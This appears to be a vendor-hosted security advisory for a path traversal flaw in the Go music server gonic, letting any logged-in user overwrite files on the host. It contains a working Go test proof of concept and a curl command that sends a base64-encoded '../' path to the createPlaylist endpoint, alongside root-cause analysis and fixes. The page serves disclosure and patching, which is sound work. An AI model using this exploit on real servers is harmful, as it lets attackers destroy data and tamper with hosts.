Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-4gxv-p5g5-j7w7

HIGH

GHSA-4gxv-p5g5-j7w7 is a high-severity (CVSS 8.1) Path Traversal vulnerability in go.senan.xyz/gonic. O3 Security confirms whether GHSA-4gxv-p5g5-j7w7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host

Also known asCVE-2026-49340GO-2026-5827
Published
Jun 26, 2026
Updated
Jul 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-4gxv-p5g5-j7w7.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk
0.00%0.31%0.62%0.93%0.3%0.4%0.4%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-4gxv-p5g5-j7w7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹go.senan.xyz/gonic

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A logic error in ServeCreateOrUpdatePlaylist allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with 0o777 permissions.

The bug is independent of the playlist ownership IDOR fixed in 6dd71e6: it is an unreachable guard clause combined with no path containment in Store.Write.

Root cause — unreachable guard clause

server/ctrlsubsonic/handlers_playlist.go:74-90:

func (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {
    user := r.Context().Value(CtxUser).(*db.User)
    params := r.Context().Value(CtxParams).(params.Params)

    playlistID, _ := params.GetFirstID("id", "playlistId")
    playlistPath := playlistIDDecode(playlistID)   // attacker-controlled, base64-decoded

    var playlist playlistp.Playlist
    if playlistPath != "" {
        if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
            //                                              ^^^^^^^^^^^^^^^^^^^^^^^^^
            //                                              this condition is UNREACHABLE
            playlist = *pl
        }
    }

    if playlist.UserID != 0 && playlist.UserID != user.ID {
        return spec.NewError(50, "you aren't allowed update that user's playlist")
    }
    ...

playlist.Store.Read (playlist/playlist.go:88-144) returns either (*Playlist, nil) on success or (nil, err) on any failure path. There is no return path of (non-nil, non-nil-err).

So the inner branch err != nil && pl != nil is always false, the playlist = *pl assignment never executes, and playlist stays at its zero value with UserID = 0. The subsequent guard playlist.UserID != 0 && playlist.UserID != user.ID simplifies to false && (anything) and always passes, regardless of who owns the target path.

Root cause — no path containment in Store.Write

playlist/playlist.go:146-160:

func (s *Store) Write(relPath string, playlist *Playlist) error {
    defer lock(&s.mu)()
    if err := sanityCheck(s.basePath); err != nil {
        return err
    }
    absPath := filepath.Join(s.basePath, relPath)
    if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil {  // world-writable!
        return fmt.Errorf("make m3u base dir: %w", err)
    }
    file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666)    // create-or-open
    ...
    if err := file.Truncate(0); err != nil {                            // wipe existing
        ...
    }

filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything") resolves to /var/lib/gonic/etc/cron.daily/anything — Go's filepath.Join does NOT prevent .. traversal. Combined with the missing guard above, any authenticated user controls the destination path.

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlers_playlist_write_traversal_test.go and run go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v:

package ctrlsubsonic

import (
	"net/url"
	"os"
	"path/filepath"
	"testing"

	"github.com/stretchr/testify/require"
)

func TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {
	f := newFixture(t)

	// playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u"
	// resolves under the parent <tmp> dir — escaping the playlists/ subtree.
	traversalRel := filepath.Join("..", "injected.m3u")
	traversalID := playlistIDEncode(traversalRel).String()

	// f.alt is the NON-ADMIN user (ID=2).
	resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{
		"id":   {traversalID},
		"name": {"injected-by-low-priv-user"},
	})
	t.Logf("resp: %+v", string(resp))

	tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
	target := filepath.Join(tmpDir, "injected.m3u")
	stat, err := os.Stat(target)
	require.NoError(t, err, "VULNERABLE if the file exists outside playlists/")
	require.False(t, stat.IsDir())

	contents, err := os.ReadFile(target)
	require.NoError(t, err)
	t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents))
}

Test output against current master HEAD 6dd71e6:

=== RUN   TestCreatePlaylistArbitraryWrite_RawPath
    resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
        "playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",...,
        "owner":"alt","songCount":0,...}}}
    VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u
        #GONIC-NAME:"injected-by-low-priv-user"
        #GONIC-COMMENT:""
        #GONIC-IS-PUBLIC:"false"
--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)

The file was created at <tmp>/injected.m3u while the playlist store's basePath is <tmp>/playlists/ — write succeeded outside the intended directory.

HTTP-level reproduction

# Target a writable path on the gonic host.
# Encode "../../../var/log/anything.log" (note: gonic must be able to write there)
RAW='../../../var/log/anything.log'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '_-')"

curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \
  | python3 -m json.tool
# Response: {"subsonic-response":{"status":"ok",...}}
# Side effect: file written at /var/log/anything.log with M3U structured content,
# intermediate directories created with 0o777 permissions.

Impact

  • Integrity: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC: attributes, plus song paths), but the name value is attacker-controlled and structurally placed (no newline injection; strconv.Quote escapes specials).
  • Availability: Overwriting gonic.db (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable.
  • Filesystem state: MkdirAll(dir, 0o777) creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.
  • Trust boundary: gonic explicitly supports a non-admin user role (ServeCreateUser, the IsAdmin flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set.
  • Content control is structural (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the #GONIC-NAME:"..." header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.

CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High

Suggested fix

Two changes, either of which mitigates this:

1. Fix the unreachable guard at handlers_playlist.go:83:

// Currently (BROKEN):
if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {
    playlist = *pl
}

// Fixed:
if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil {
    playlist = *pl
}

This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where playlistPath points to a non-existent file (the Read fails, playlist stays zero-valued, ownership check still bypassed). So the second fix is also needed.

2. Add path containment in playlist/playlist.go::Store.Write (same helper proposed in the companion advisory):

absPath := filepath.Join(s.basePath, relPath)
rel, err := filepath.Rel(s.basePath, absPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
    return fmt.Errorf("path %q escapes playlist directory", relPath)
}

Apply the same guard in Read() and Delete() to close related primitives. Consider tightening MkdirAll from 0o777 to 0o755.

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogo.senan.xyz/gonicall versions0.21.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for go.senan.xyz/gonic. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update go.senan.xyz/gonic to 0.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4gxv-p5g5-j7w7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-4gxv-p5g5-j7w7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-4gxv-p5g5-j7w7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary A logic error in `ServeCreateOrUpdatePlaylist` allows **any authenticated Subsonic user** (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions. The bug is independent of the playlist ownership IDOR fixed in [`6dd71e6`](https://github.com/sentriz/gonic/commit/6dd71e6): it is an **unreachable guard clause** combined with **no path containment in `Store.Write`**. ## Root cause — unreachable guard clause `server/ctrlsubsonic/handlers_playlist.go:74-90`
O3 Security · Impact-Aware SCA

Is GHSA-4gxv-p5g5-j7w7 in your dependencies?

O3 detects GHSA-4gxv-p5g5-j7w7 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-4gxv-p5g5-j7w7: gonic (High 8.1) | O3 Security